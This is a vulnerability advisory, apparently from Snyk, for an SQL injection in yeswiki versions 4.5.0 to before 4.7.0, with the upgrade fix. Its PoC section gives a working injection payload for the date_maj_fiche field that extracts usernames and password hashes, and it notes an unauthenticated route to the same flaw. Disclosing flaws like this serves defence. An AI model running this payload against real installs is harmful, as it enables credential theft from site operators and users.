SQL Injection Affecting yeswiki/yeswiki package, versions >=4.5.0, <4.7.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PHP-YESWIKIYESWIKI-21717120
- published26 Oct 2026
- disclosed25 Oct 2026
- creditzx (Jace), manus-use
Introduced: 25 Oct 2026
NewCVE-2026-116211 (opens in a new tab)How to fix?
Upgrade yeswiki/yeswiki to version 4.7.0 or higher.
Overview
Affected versions of this package are vulnerable to SQL Injection via the forcedDate parameter in includes/services/PageManager.php, where user-supplied input is interpolated directly into an SQL INSERT statement without validation. An attacker can inject arbitrary SQL by supplying a malformed date value (e.g. through the date_maj_fiche field in the entries API), closing the quoted time column and appending additional SQL clauses to exfiltrate data such as usernames and password hashes from the database.
PoC
Authenticated (+) path:
POST /?api/entries/MyForm Cookie: <any registered user session>
bf_titre=x&antispam=1&date_maj_fiche=2020-01-01 00:00:00", owner=0x61, user=0x61, latest=0x59, body=(SELECT CONCAT(name,0x3a,password) FROM wiki_users LIMIT 1), body_r=0x20 -- -
This produces:
INSERT INTO wiki_pages SET tag = 'MyEntry', time = "2020-01-01 00:00:00",
owner=0x61, user=0x61, latest=0x59,
body=(SELECT CONCAT(name,0x3a,password) FROM wiki_users LIMIT 1), body_r=0x20 -- -",
owner='...', user='...', latest='Y', body='{json}', body_r=''
The literal " closes time="..."; the injected NOT-NULL columns are supplied as hex literals; -- - neutralizes the original tail. The exfiltrated name:hash is then read back by fetching the created page. On a default install the unauthenticated web-form path (action=saisir_fiche) reaches the same sink (module ACL default *, use_captcha:false, bazarIgnoreAcls:true).
Note: The PoC targets the entries API (POST /?api/entries/MyForm) and the unauthenticated web-form path (action=saisir_fiche) on a default install with use_captcha:false and bazarIgnoreAcls:true.